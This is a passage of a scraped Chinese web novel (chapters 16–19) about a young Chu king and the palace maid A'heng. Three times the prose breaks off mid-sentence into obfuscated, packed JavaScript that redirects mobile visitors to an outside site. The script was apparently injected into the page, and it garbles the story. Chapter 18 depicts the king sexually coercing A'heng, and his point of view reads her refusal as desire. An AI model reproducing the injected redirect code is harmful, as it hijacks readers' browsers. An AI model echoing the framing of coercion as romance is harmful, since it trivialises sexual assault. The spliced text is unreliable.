“他帮你什么了？值得你谢？”楚王突然冷冷的开口。 他走过来，双手交叉环于胸前，睨起眼神打量一脸惴惴不安的少女。 她最应该谢的人，不应该是他吗？为了她那个什么阿姊的事，就不提了。就说刚才，远远的瞅见她蓦然惊恐，小脸变得煞白，他一寻思就是景稚得知了她的身份来找茬，他果断上前把景稚唬住。 他看上的猎物，谁也别想从中插一脚。 芈渊很享受在狩猎时，精心布置陷阱，缓缓搭箭，慢慢向猎物靠近时的那种感觉。 被选中的猎物，睁着无辜的眸子，看似很机灵很警觉的徜徉在山林间，全然没有察觉危险将至。 唯他才能掌控全局。 “大王，您救了鹂夫人，妾很感激，谢谢您。” 少女的腰肢柔顺的伏下去，再起身时，唇边噙着一缕柔软的笑容。 笑意是欢喜的，真切的。 她真的感激楚王，就算哪一天身份被戳穿，楚王要降罪于她，她也没有理由怨恨。 只希望到那时，他的善念还能施舍一点给她。 芈渊没再说什么，放下手臂转身朝他们来时的山坡走去。 阿姮迟疑，不知道是该跟上，还是告退。 “拿什么谢我？”数丈开外，芈渊转过来，懒洋洋的瞅着她。 风从山坡上徐徐吹拂下来，树木发出“哗哗”的声响，如碧波一浪一浪的荡漾下来，淹没了他的声音。 阿姮隐约听见了，又听得不分明，她小跑上前。 “王上，您刚才说什么？我没听清。”两瓣红唇吁吁的喘着气，时不时露出里面小巧的牙齿。 夏日午后热烈的风拂过山林，拂过她的发丝。她身后，宽阔的江河被风吹皱，泛起鱼鳞样的波纹。 少年国君乌沉沉的眼珠子里点了一把渔火，他轻启薄唇：“寡人问你，想要什么赏赐？” “啊？”阿姮张开的嘴半晌才合拢。 太突然了，她根本没有想到。楚王突然变得如此亲和良善。 “寡人也还没想好，你慢慢想，想好了告诉我。” 阿姮使劲揉了揉眼睛，没错，前面那个高大魁梧的背影就是楚王。他似乎心情很好。 他往王帐的方向去了。 * 昨夜营盘失火，公卿大夫们的帐篷被毁损大半，无处落脚，加上祭礼结束，如果没有旁的事情，大夫们就可以收拾收拾，带着仆从奴婢回郢都去。 寺人宫女跟随楚王返回王宫。 宫女的营帐不知有没有被大火波及，她得赶回去看看，收捡她和覃的衣裳物品。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15349313|167406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >阿姮想到这里，连忙跟上楚王的脚步。 “大王，您是不是不喜欢吃鱼？”阿姮问。 楚王不知道，那盘鱼脍有多美味。 剩下几条大鱼无法长久保鲜，只能腌制成鱼干，回了王宫就再难吃到新鲜的鱼脍了。 她替楚王感到遗憾。 芈渊正在盘算讨伐东夷的事，被她一问，不禁想起午间那碗黑乎乎的鱼汤。 那股难言的味道，带着烧焦的糊味，横亘在胸腹间，一直没有消散。 这时，恶心的感觉又回来了，好像只要一张开嘴，就会呕出来。 芈渊皱了皱眉。 为了防止她再问下去，他淡淡的说：“不要打听国君喜好什么、厌恶什么，对你没有好处。” 果然，她乖乖的闭上了嘴巴。 可是那种不适之感越来越强烈，他的胸腹开始隐隐作痛，五脏六腑都在抽搐，很快疼痛越来越猛烈，就像被谁点了一把火，从腹部一直蹿到喉咙。 芈渊缓缓停住脚步，以手撑住树干，不动声色的调整气息。 阿姮只当他累了，也跟着停下。 芈渊面上依然冷静，可他阻止不了大颗大颗的汗珠从他额头渗出来，沿着眼眉滚落了一脸。 “王上！”阿姮察觉出异样，上前扶住他，“您怎么了？可是哪里不舒服？” “无事。”芈渊咬牙，俊容冷凝。 “怎么没有事！您的脸都白了！”阿姮急出哭腔，一时忘了尊卑，伸手去探楚王的脸。 芈渊甩开她的手，提起脚又往前勉强走了几步，沉重的身躯撞到一棵树上，发出闷声巨响，树上的鸦鹊被惊得从窝里飞起，啾啾叫着盘旋到空中。 横在腹间的剧痛好似被一根长戟猛地一搅，他终于无力控制那股翻江倒海之力，喉头剧烈的哕了几声，便从嘴里呕出一团黏糊糊的秽物。 阿姮上前一看，是一团尚未完全克化掉的肉脯裹着鱼糜模样的呕吐物。 楚王午间吃的膳食，全都被吐了出来。 阿姮抬起袖口擦他嘴角的污渍。 芈渊僵住，一动不动由她施为。直到她拿开袖子，他直起身躯，垂眸恢复常色。 往前走了几步，后面没有动静，她没有跟上来。 回头。 她在哭：“是鱼汤，那片龟甲，不吉……不是什么必胜汤，大王您差点就……” 她哭得一抽一抽的，说不出完整的话。 芈渊抚额，怪不得总觉得汤里有一股烧焦了烤糊了的气味。 那时，他和景梁说完话，膳食和汤都冷了，他没在意就吃了冷食，克化不佳，故而腹中作痛。 所幸吐了出来，没有大碍。巡狩途中，也发生过王卒饮食不当中毒的事，催吐出来即可。 司巫绝对想不到，他卜出来的这一卦，凶也好，吉也罢，可算是应验了。 以一种谁也没有预料到的方式。 芈渊连声咳嗽，咳着咳着闷声笑起来。 他居然还笑得出来？ 阿姮又悔又怕，啜泣个不停。 “好了，”芈渊开口，苍白的唇边依然挂着一丝散漫笑意，“别哭了。” 17. 第 17 章 芈渊朝她勾了勾手指头，阿姮呆愣愣的走过去。 “还难看吗？”芈渊问。 少女含着泪的眼中，楚王英挺的面庞仍是一脸苍白。 她点了点头，又飞快的摇头。 “今日之事，谁都不许说！”芈渊沉下声音。 这回阿姮坚定的点了个头。 楚王不治她和庖人的罪，她就感激不尽了，哪还敢张扬出去。 接着，两人走得慢了些。 快要接近营盘，楚王脚步放缓，抬手按住腰间的佩剑停下来。 阿姮以为他又哪里不舒服，赶忙扶住他。 芈渊垂头看向一脸关切的少女，以手指虚虚的抵在她唇前，低声道：“有人，不要做声。” 阿姮什么动静也没听到，只见楚王躬身从地上捡起块石头，扬起手臂扔了出去。 几声惊叫从比人还高的茅草丛里飘出来，紧接着一阵窸窸窣窣的响动，脚步声杂乱，似乎有人惊慌远去。 摇摆的茅草丛恢复了平静。 芈渊抬脚要走。 阿姮不放心，拦住他：“我去看看！” 芈渊含糊的“嗯”了一声，他盯着少女的背影，迈开长腿不紧不慢的缀在她身后。 他耳力敏锐，个子比她高许多，刚才一眼便瞥到两个衣衫不整的男女从草木后逃窜。 不知是哪个大夫家的仆人仆女，趁着营地混乱，在此处偷情。 茅草丛中间被压出来一块凌乱的空地，空空荡荡，地上孤零零的躺着一张彩漆面具。 是在祭坛旁跳舞的巫人用的。 阿姮一脸茫然，不明白巫人躲在这里做什么。 她把面具捡起来。 “大王，您戴上这个吧。”阿姮担忧的望着楚王。 芈渊眼中满是嫌弃，推开：“不戴。” 他明白她的意思，可是—— 一个放荡的贱民用过的，也配？ “王上……”阿姮蹙眉，欲言又止。 楚王的面色犹如大病初愈，真的很吓人。 芈渊敛眉垂眸，心思转了几转。 他以雷霆之势处置了王叔度和昭伯，震慑住朝堂。但是叔度在庸地的势力还未完全铲除，昭氏一族也不会因为昭伯之死就顷刻覆灭。他心里很清楚，令昭氏私卒去对付叔度残党，虽可以分化昭氏在国中的势力，然实属冒险之举。 若在此时，在那些奸滑势利的卿大夫面前露出一丝异样，叫他们生出什么不妥的心思，再横生出枝节…… 他又要多费些功夫，多杀些人。 朝堂不稳，征伐东夷的时机恐被耽搁。 “给寡人戴上。” 芈渊长腿微屈，在阿姮面前弯下腰。 木头面具被小心翼翼的覆到他脸上，眼前一片幽凉。熟悉的清甜气息靠近，从面具上的孔洞钻进来。 芈渊轻轻动了动鼻子，宛如一只凶猛而沉默的野兽，蛰伏在阳光照不到的地方，从两只木头眼孔里转动出幽深的眸光，忽而闪亮又瞬间熄灭。 他缓缓抬手，长指托住面具下颚。少女抬起两只软绵绵的胳膊绕到他脑后，把绑带打上结。 她的鼻息离他很近，她的胸口无法避免的碰到他的。 芈渊呼吸凝滞，胸膛再无起伏，免得吓跑一无所知的猎物。 然而不过短促的一息，这张明媚的像一团光的脸，从他眼前倏忽一晃就退了下去。面具固定好了，她收回手，与他拉开适度的距离。 阿姮仔细端详了一眼，此时的楚王和他戴面具出现在树林里的那天一模一样。 如今，她一眼就能分辨出来。 即便同样的面具，同样颀长结实的身形，他和别人仍是不一样的。 她抿起唇角，冲楚王点头笑了笑。 芈渊不语，抽出佩剑将杂草砍倒到两旁，率先踏出去。 回到王帐，卿大夫们已经苦哈哈的等候多时，只待叩谢过大王后就各自返家。 芈渊令哑寺人将祭肉和酒浆分赏下去。 阿姮回到庖厨，庖人们已从河边返回，正准备撤帐。庖叔说，最迟不过夜间子时，大王就会拔营返回王宫。庖厨的杂物最多，需得提早收拾。阿姮赶在他们熄灭灶火前，抓了一把稻米煮米粥。 等她盛出米粥端到芈渊帐中，众人已离开，楚王坐在席上，手肘支于案面，以手撑着额头，微微闭目。 漆木面具被随意扔在一旁。 芈渊打发走众卿大夫，心里盘算着朝中事务，眼睛便不知不觉的合上了。 一股热烘烘的稻米香钻入鼻孔。 他略抬眼皮。 一碗羊乳般雪白的糜粥，搁在他面前，还冒着热气。 “是温的，不会烫口。”阿姮说。 楚王喜欢饮用冷浆，但这时明显不时宜。 “王上，您多少用一些，很快就会好起来的。”她又说，哄孩童似的。 过了半晌，楚王懒洋洋的拿起汤匙，一匙戳破细腻如凝膏的米浆，放入口中。 楚王进食如常，阿姮的歉疚少了几分，转而起身又回了庖厨。 芈渊用完米粥，只觉得五脏六腑都暖意洋洋，疲乏之感尽数消失。他抄起弓箭正欲出帐门，阿姮回来，端来一盏淡盐水给他漱口饮用。 盐水也是温热的，入口刚刚好。 “王上，您去榻上歇一歇，妾在一旁守着您。” 芈渊凉凉的睃了她几眼，他该问问她，到底谁才是王上？ 不过终究什么也没说，扔了弓箭，走到榻前解下佩剑放到枕边，合衣躺了下去。 阿姮席地跪坐在榻侧，耳边是楚王匀和的呼吸，喧哗声从帐外隐隐传来。庖人在收拾庖厨用具，哑巴寺人们送走众卿大夫，回来后也没闲着，和王卒一起忙着收捡兵械和巡狩期间从各地带回来的物品。 侍卫安静的守在帐外，帐中只她和楚王两人。落日的余辉被挡在帐篷外，光线一寸寸的暗下来。 昏黄的暮色笼罩原野。晚风带着夕阳的余温，从帐篷的缝隙处鼓荡进来。阿姮没有点灯。 鹂阿姊总算脱险，楚王没有因为隗蹇迁怒她和阿姊，应该也不会为难申先生吧？ 她隐隐抱着期望，但是心里终究没有底。 谁知道楚王怎么想的。 阿姮转着眼睛，目光惆怅的落到楚王脸上。 楚王已睡熟了，呼吸变得深沉而缓慢。从他脸上什么也看不出来。 他的脸有棱有角，线条分明，无疑是个好看的男子。 醒着时让人绝不敢多看。 现在他睡着了，阿姮不禁多瞅了几眼。 在这张英气和傲气交错的面孔上，随着呼吸微颤的睫毛，高挺的鼻梁和松松抿着的唇，显出几分舒展柔和的模样。 白日里那个行事老练手段狠戾的国君，和此时沉睡的少年，完全不似同一个人。 阿姮看得久了，也被感染了睡意。她的两只眼皮越来越重，渐渐撑不开。 她做了一个梦。是梦，又不是梦。 那年她和邻家阿兄去溪边捕鱼，被跋扈的仆人喝斥了一通，从田间赶来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15357223|167406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的阿父握住仆人即将落下的鞭子，黑着脸把她和阿兄领回家。 她以为阿父会责骂他们，但是没有。阿父点燃了许久没用的火炉，拿损坏的农具锻造出一把山形戟。 “拿去，捕猎不够使，叉个鱼足够了。”阿父对阿兄说。 她担心：“可是他们不让……” 阿父笑了，摸了摸她的头。 那天夜里，阿父带邻家阿兄出去一趟，带回来几条活蹦乱跳的鱼。 阿母给她煮了鱼羹，直到现在，阿姮还记得那个味道。乡间贫苦，盐也稀少，但那是她吃过最好吃的鱼羹，比庖人教她做的鱼脍还要美味。 她吃得停不了嘴，阿母为她擦去嘴边的刺，嗔中带笑：“想吃就得自己会做！日后去了夫家，做了新妇，还张着嘴等别人做给你吃不成？” 她难为情，扑到阿母怀里撒娇。阿母的怀抱好温暖，像一张宽敞的软榻，舒服极了…… 阿姮身子一颤，猛地睁开眼睛。 灯火如萤，在暗夜里扑闪，名贵蜜烛散发出焦甜怡人的气息。 她躺在一张榻上，但不是她和覃两人挤着才能睡下的窄榻。 ……是楚王的榻。 她还在楚王帐中。 她一点也想不起来自己是怎么爬到楚王榻上来的。可能从祭礼那夜开始，她一刻也没歇息，太过疲累，打起了瞌睡，于是就迷迷糊糊的把楚王的榻当成了自己的。 太无礼，也太冒犯了。 得亏楚王走了。 她刚松一口气，喁喁语声从黼纹轻纱屏障后传来。 楚王正在与人交谈。 他没有离开。 阿姮脑子发懵，不敢动。 扭转脖子望过去。 薄薄的屏风另一侧。 “寡人已经派人去晋国传递消息，申叔偃是回来见寡人，还是赶回蔡国，阻止蔡侯割让城池，由他自己衡量罢。” 楚王口中说的是申先生。阿姮的心砰砰跳。 楚王那副傲气十足的口吻，和他往常一样，带着一丝淡淡的嘲讽。 看来他恢复得很快。 无论如何，他放过申先生了，不是么？ 阿姮强撑着吓得瘫软的手脚，从榻上悄然起身。 楚王对面那人答了声“喏”，爽朗含笑：“大王看我碍眼，臣明日就回荆山。铸匠和铭文的事，就托付给王上了。” 是景肱。 芈渊嗤了一声，叫他滚。 景肱往屏风后张望了两眼，讪讪离开。 楚王蓦地站起来，在屏风上落下一道磅礴的影子。 转瞬黑影一闪，楚王大步绕过屏风，往榻边走来。阿姮吓得缩了回去，紧闭双目，梗着脖子装睡。 只等楚王一声呵斥也叫她滚，她就识趣的滚出去。 帐内和外面都一片寂静，烛火透过她的眼皮紧张的闪烁。 一只温热的手掌落到她头顶。 楚王没有说话。 那只大手在她头上停顿了片刻，揉了一把她的发顶，紧接着又揉了一把…… 阿姮不知他意欲何为，只觉场景异常诡异，毛骨悚然。 好似在猎场上，楚王放着猛虎不去猎捕，转而逗弄一只孱弱的幼兽。 这就是楚王对她的惩罚吗？ 横竖要被他责骂，阿姮实在难忍这般煎熬，惶惶睁开眼睛。 “不装了？”男子一声轻哼，并无明显的不悦。 “王上，我……” 阿姮嗫嚅开口，被眼前楚王的模样怔住。 18. [锁] [此章节已锁] 楚王一袭白色中衣，一头潮湿的头发披散在后背，泛着清爽的水汽。 他沐浴过。 衣带散着，上衣松垮垮的敞开，露出铜铸般结实有力的肌理，一块一块的隆起来，很是分明。 当初阿姮刚到楚王身边，就被他从净室轰出去，之后她一直没有侍奉过楚王沐浴。 这副雄性十足的胸膛陡然又出现在阿姮眼前，几欲撞到她脸上，她避之不及，转过脸就要从榻上跳下去。 放在她头顶的大手忽而落到纤薄肩头，只轻轻一推，便把她推回枕上。 阿姮眼前瞬间转暗，楚王翻身上榻，双手撑在她肩头两侧，两根乔木般颀长的腿也挤到榻上，一左一右夹住了她的腰。 体态娇婀的少女顿时被牢牢禁锢在狭窄的缝隙中，犹如巨兽掌下势孤力薄的一只幼兔，惶恐失措，瑟瑟发抖。 一阵风吹过，烛火颤动不止，几欲熄灭。 “想好了么，要寡人赏你什么？” 晦暗不明的夜色里，他的嗓音低哑，滚烫的气息喷到她脸上。 这话，楚王白日便问过她一回，这时忽然又问起来，还是在黑漆漆的夜间，在楚王的榻上…… 此情此景，阿姮只觉得怪异、惊骇，不敢多想。 鹂阿姊已安然无恙，申先生即将归蔡，她也算遂了愿。除了父母亲人的仇，她别无可求，没什么可惦念的了。 她不会傻到求楚王为她去蔡国抓那些贼寇。 阿姮忍住心底苦涩，颤声开口：“妾侍奉大王，本就是分内之事，怎敢索要赏赐。” 火烛“噼啪”烧得旺盛，从少女眼中划过一丝哀怜。 芈渊眸光一暗。又是那副伤怀的模样，让人心生怜惜的同时，又忍不住想要狠狠的破坏。 在火烛的映照下，楚王黑黢黢的眼瞳熊熊燃烧起来，一闪一闪的，宛如饥饿的野狼，目光灼灼的盯着她，好似要把她生吞了一般。 阿姮和他目光相触，愣住一瞬，心间骤然狂跳，一片混乱。 楚王想要她。要她侍寝。 本来是她不能拒绝的。可是…… 阿姮两手撑在榻上，悄然往后躲避。 她害羞了。楚王唇角一勾，抬起身躯，沉沉的朝她压下来。 “王上！”阿姮想也不想，伸手挡住楚王往下倾压的胸膛。 芈渊垂眸，花蕊似的十指尖尖抵着他的心口，丝丝缕缕的凉意，轻颤着，从她手指尖传递过来，瞬间被吞噬在一腔烈火里。 男子猛烈的心跳，粗粝的气息，皆肆无忌惮的从少女冰凉的手一路燃烧过去，把她的耳垂，脖子和惊慌的脸蛋都染上了一层娇艳粉嫩的颜色。 叫人更想一口吞了她。 他把歪在地上睡着了的少女抱起来，放到榻上时，就想这么做了。 沐浴时，他屏退寺人，淡漠的看着水下，腿间狰狞的欲望在他冰冷的注视下，蛮横抬头，迫不及待的想要甩开主人素来引以为傲的克制。 随之而来，浮现在他眼前的，是躺在他榻上酣然入梦而不自知的人儿。 将她拆吃入腹的念头成了形，对男女之事有了兴趣，如此巨大的转变，突然发生在自傲自矜的国君身上，芈渊很坦然的就接受了。 他是一国之君，本就无需隐忍。 她对他满腔爱慕，举止无不温柔体贴。更兼聪慧机智，甚是合他的心意。同她在一处，是少有的能让他放下戒心的时候。 而她，一直在渴望得到他的宠幸，不是么。 芈渊将两只细伶仃的手腕握住，不容拒绝的钉到榻上，俯身在她耳边低语。 “寡人已叫人回城告知薄媪，把你挪至寡人的偏殿。待回宫后，你与我同住。” 就宠她一个。满意了吧？ 楚王像野兽一样开始掠夺。阿姮满脸惊慌，拼命闪躲。 可男人的力气远大于女子，更何况楚王这般壮硕力大无穷的男子，阿姮根本撼动不了半分。还好楚王只是钳住了她的手腕，她的腿还能动。 阿姮挣扎着弓起一条腿，用力朝楚王腿间踢过去。 换来对方噗嗤一声轻笑。 “你当寡人是隗蹇么？乖些，别乱动。”芈渊笑着轻叱。 面对她的反抗，他更亢奋了，只觉得血脉逆流，腹间鼓涨，急需一个宣泄的出口。 他没有经验，凭借男人的本能，屈膝顶开阿姮的腿。 “不要！”踢出去的腿被楚王顺势撑开，眼看他再度压了下来，阿姮又羞又怕，连声叫道，“王上！您说过的，凡有凌虐小民、破坏农事、逼淫\妇人的恶行，一律当斩！您是大王，难道就可以不守军规吗！大王，您不要这样……” 她把他说过的话，一字不漏的背了下来。 娇怯的呼声，盈盈的泪光，换回了芈渊一丝理智。 不过只一刹那的回神。 逼、淫、妇、人。原来她喜欢强迫的。 口口声声的“不要”，勾得他心底的火直往外冒。 他身下愈加兴奋，那种血液奔流的刺激，四处乱撞，让他停不下来。 ………… 纠缠之间，榻上一片狼藉。芈渊手慌脚乱满头是汗，突然俊容扭曲，似痛似怒。 顷刻间，阿姮揉皱的衣裳上湿了一大片。 两人都难以置信，呆呆的望过去。 只一瞬，芈渊猛地从榻上跳起来，抄起矮几上的佩剑，将挂在架上的外裳一卷，冷着脸出了门。 出了帐门，才发觉两只耳朵燥热不已，像被火烧过一般，整张脸亦是热烘烘的。 夜风一吹，国君的冷静和骄傲悉数回了笼。 她的不情愿不像是假的。 不愿意侍寝，不愿意做他的嫔妾，她想做什么？楚王后吗？ 他当着景肱兄妹的面，言明绝不会立景氏女为后，她也在场。莫不是那时就怀了心思。 她本就颇有些心机，会这么想不足为奇。 自不量力。 不过一个女人罢了。 “即刻拔营！” 楚王冷冷的一声令下，从帐外传进来。 阿姮擦掉眼角的泪，从榻上爬起来。一眼看到自己的两只玉笄，摆在楚王刚才拿走佩剑的矮几上。 她恍惚了一下，隐约生出一丝疑心。她不记得打瞌睡的时候是如何爬到楚王榻上的，也全然不记得，困极了的她，会想着把玉笄从头上取下来，还整整齐齐的摆放到几案上。 阿姮顾不上深想，趁哑寺人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15371607|167406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们进来撤帐，从帐门溜了出去。寺人们不只哑，只怕还有些耳聋眼盲，适才帐中发出那么大的动静，他们只顾收拾营帐，无人管她。 楚王的车驾已经走远，消失在由暗转明的深蓝色天幕中。放眼望去，夜色渐次变蓝变亮。她和楚王在帐中纠扯的时候，子时早就过了，楚王的庖厨和大部兵马战车早已提前返城。又一个晨曦即将来临。 偌大的旷野，一半被烧成焦土，另一半只剩下几顶做杂役的宫女和寺人的帐篷，零星几个侍卫守在营帐，催促宫女和寺人们快些扫尾，以便趁晨间凉爽赶路回城。 阿姮急匆匆的跑回她和覃的帐中。 “你打翻了粥吗！怎么搞成这样？”覃吃了一惊，拉着她狐疑的打量。 阿姮脸庞发热，忍着羞耻和恶心，一声不吭把衣裳换下来。 “是我不小心，把你的衣裳弄脏了，我马上洗干净！”她满脸羞惭。 这是她去祭台给楚王报信时，和覃交换的衣裳。除了被楚王……弄出的那坨糊糊，先前楚王呕吐时，她给他擦嘴角秽物留下的污痕，也残留在袖子上。除了这些，还有好些污垢。 连她脸上也是，连夜连天的奔波，她满头满脸都是尘污，未及洗去。楚王眼瞎了一般，竟不嫌弃，还对她用强…… 阿姮咬着唇，脸颊显出两团热热的臊意。 覃当她过意不去，从她手里夺过衣裳往帐外一扔，笑嘻嘻的说：“都脏成这样了，还留着做甚！祭酒是你酿造的，连司巫都知晓了，大王的赏赐还会少么！想要什么样的布料没有？快收拾了我们跟王卒一起走，这回我定要找个车坐坐……” 一听覃说赏赐，阿姮的头就隐隐痛起来，心里一万个不情愿回王城。 该如何面对楚王？他会怎么责罚她？阿姮越想越心烦意乱。 却也只得被覃催促着，胡乱收拾了一气，和剩下的宫女寺人一起返回郢都。 覃在人堆里找了个驾车运送补给回城的王卒，央求了一番，请他捎她们一程。 是王卒运送鹂阿姊和昭伯家女人们的那种兵车。 阿姮不坐，宁可自己走。 昭伯刚死，鹂阿姊就差点被昭伯夫人发卖，在阿姮心中留下难以磨灭的阴影。 她不想做妾，不想将来的某一天，会遭到阿姊曾经的遭遇。 起初入楚王宫，舍了自身，甘愿为奴，是形势所迫，是为了报答申先生的救命之恩，是感念阿姊的爱护之意。 然而在她心底，只要有一点点希望，她实不愿与人为妾，不想落得被掠夺被发卖的命运。 在被楚王的强迫时，才表现出异常强烈的抗拒。 可是接下来，将不得不面对楚王的怒火。 这回，是真的惹恼了他吧？ 阿姮很惶恐，又有些茫然，不知道自己做的究竟是对还是错。 覃拗不过她，只得和她一起徒步而行。 步行的队伍走了没多远，百夫长褚良驾一辆华盖辕车，从祭台的方向飞奔而来，往人群中张望。 “阿姮姑娘！”他看到阿姮，跳下车行礼，“我送您一程！” 这是楚王的马车。车上空无一人。 来者出现的突然，阿姮心想，定不是楚王派来的。 19. 第 19 章 面对褚良的好意，阿姮摇头谢绝，覃着急的恨不能将她推上去。 “我有事请姑娘帮忙！”褚良也着急，脱口而出。 “就当我提前谢过姑娘，些许鞍马之劳，不值当什么。这位阿姊，请和阿姮姑娘同乘，容我为二位驾车。” 他又热情的招呼覃。 “阿姮，”覃拉她的袖子，嘴里嘟囔个不停，“你就可怜可怜我罢，来的时候我的腿都走断了！” 阿姮想起那件被弄得污秽不堪的衣裳，仍感到歉疚，犹豫了一下，就被覃推搡着上了马车。 路上，覃恭维褚良驾车稳当，褚良说：“我们这些百夫长中，只有我可以在战时做大王的御者，为我王驾驭车马！仲其箕和祝让他们，只堪为车右！” 他颇为自豪，大笑起来。 阿姮问褚良，有什么能帮上忙的。褚良抬头望了眼祭台，笑着说不急，将她们送回王宫再说。 阿姮和覃面面相觑。到底多大的忙，能让大王的御者为她们驾车？ 覃忽地灵光一闪，把嘴凑到阿姮耳边：“你昨晚在大王帐中一夜未归，你和大王，你们有没有……” 说着，她两手握拳，翘起大拇指互相碰了碰。 “没有的事！”阿姮轻叫一声打断她，心虚的转头看向车外，问褚良，“您可知大王去了何处？” 千万不要在半路上碰到他。 “大王到祭台时，把我等打发走，就去了司巫那里，想必和司巫有要事相商吧。” 阿姮回首眺望，原野、山林、河滩，飞速的远去，高耸在平原上的祭台变成了一个土黄的小点。 回到王城，接连数日，楚王没有出现在王宫。 夏祭已过，秋狩即将开始。阿姮听经常出去采买的庖人说，大王带人夜燎猎狐那些时日，已帮郢郊的农人赶跑了山上的野兽，但大王犹嫌不足，索性带人再度上山，直把躲到深山去的野猪群连老窝都端了。 故而一直在郢郊逗留，不曾返回。 阿姮唯有暗暗祈求楚王再晚些回来，最好把她的忤逆之举忘得一干二净。 国君迟迟不归，薄媪派人来王宫，代大王把赏赐发到众人手中，其中以阿姮的最为丰厚。覃如愿以偿，从阿姮手中匀出几匹布料，抽空为她自个儿和阿姮各做了几身衣裳。 按照楚王先前交代过的，薄媪命人将阿姮的寝居从宫女的居所移到大王寝宫的偏殿。 只等大王回来，给她一个名分。 面对覃的促狭调笑和宫女们羡慕不已的目光，阿姮只觉得头都大了。 她们和薄媪根本不知情。 几乎可以想见，等楚王回来，定会怒不可遏的将她丢出去。 * 没几日就入了秋，阿鹂托请薄媪，把阿姮接到薄媪家中一聚。 阿姮天天挂念阿姊，偏又出不得王宫，薄媪派人过来，她毫不迟疑就过去了。 见到薄媪，阿姮奉上亲手做的鞋袜。 “老媪对我们姊妹呵护有加，妾和阿姊非但无以为报，还要仰仗老媪多加关照，妾感激不尽。妾没什么拿得出手的，只这点针线活，做得粗陋了些，请老媪不要嫌弃。” 薄媪从仆女手中接过来一看，是一双钉得极为牢固的冬靴和两双厚实鞋袜，皆是拿宫中赏给她的上好布料和皮子所做。 这个姑娘着实有心，让人不由得愿意多提点她几句。 薄媪笑道：“姮女毋须这般客气，你有这份心，侍奉大王何愁不能长久。大王还未立后，身边除了你还未有别的嫔妾，你若能及早为王上诞下长子，待日后，王后以下、九嫔之上的侧夫人之位，必少不了你的。到了那时，老妪我还得仰仗于姮夫人你。” 她一番话把阿姮说了个大红脸。阿姮本来想说楚王并没有宠幸她，却嗫嗫的羞于开腔，说不出话来。 薄媪暗忖，她到底还是年纪小了些，风韵气度尚且不及另一位蔡国美人，那才真真的是从宫廷中调理出来的人。当然，单纯也有单纯的好处。当初她选中阿姮，也是看中这一点。 “老妪也不拿你打趣了，”薄媪摇头笑笑，对她说，“鹂姬候你多时，快去与她相见罢。” 阿姮刚要走，又被薄媪唤住。 “前些日子，有几位尚未娶妻的青壮男子，上我这里来求娶鹂姬，家财宅地样样殷实，可都被她拒绝了。老妪不知她心里作何想的，你替我问一问。” 阿姮愣了一下，答应下来。 待两人见面，鹂阿姊的形容气色比阿姮想得要好一些。 “阿姊……”阿姮心里一松，突觉委屈横生，可又不知道自己在委屈什么，眼中忍不住淌下泪水。 阿鹂轻抚她的后背，擦去她眼角冒出来的泪花。就像那时在来楚国的路上，她抱着乞丐模样奄奄一息的阿姮，为她拭去满是污垢的泪痕，温柔的唱曲给她听，哄着她别哭。 “阿姮，我要想办法回蔡国去，你跟我走吗？” 避开薄媪家的仆女，阿鹂突然低声说。 阿姮惊讶住。她原以为，鹂阿姊拒绝婚配，是为了入楚王宫和她在一起。 她央求楚王救阿姊的时候，也曾希望楚王能把阿姊留在宫中。可楚王压根没按她想的来，他把昭伯的妾奴尽数婚配出去，让她们人人都有个可靠的丈夫，不用再给人做妾。 安稳些的日子，阿姊不喜欢吗？ 阿鹂看出她眼中的疑虑，道：“我自幼父母双亡，只因生了几分颜色，被宫中买去，养作乐伎。蔡侯宫廷让我免于沦为娼女，我本应该感激。直到祭礼那天晚上……” 阿姮睁大眼睛听她细说。那晚，隗蹇就是打着阿姊的名头，才将她骗过去。 阿鹂口中哽咽了一下，接着说：“那天晚上，起初是昭伯，他叫我去陪王叔度，我不从。后来，隗蹇的仆人丈找到我，说使团有重要的事情跟我说，我信了他的话，被他骗到隗蹇跟前……” 隗蹇跟她说的，和跟阿姮说的差不多。 “他们在楚国惹下乱子，一走了之，把我转送给王叔度，他们当我是什么？隗蹇，昭伯，王叔度，他们都不拿我当人！当我是娼伎吗！我便是娼伎，也不稀罕伺候他们那样的人！” 阿鹂轻拭眼眶，放下衣袖时，美丽的面容上尽是冷漠。她没有跟阿姮说，她顶撞隗蹇，隗蹇恼羞成怒，狠狠的打了她一巴掌。 就是那一巴掌，打醒了她。 “侍奉昭伯时，我恪守本分，以他们夫妇为尊，从不敢与昭伯夫人作对，她却要将我卖到伎馆，她偏要辱我！ “还有隗蹇和隗姬！那时蔡侯有意纳我，隗姬唯恐我夺了她的宠爱，使隗蹇向蔡侯进谗言，将我送到楚国来。他们皆欺我、辱我！我要让他们看看，我也会争，也会抢！隗姬之宠我也要夺了去！” 她情绪激动，胸腔不停的起伏。 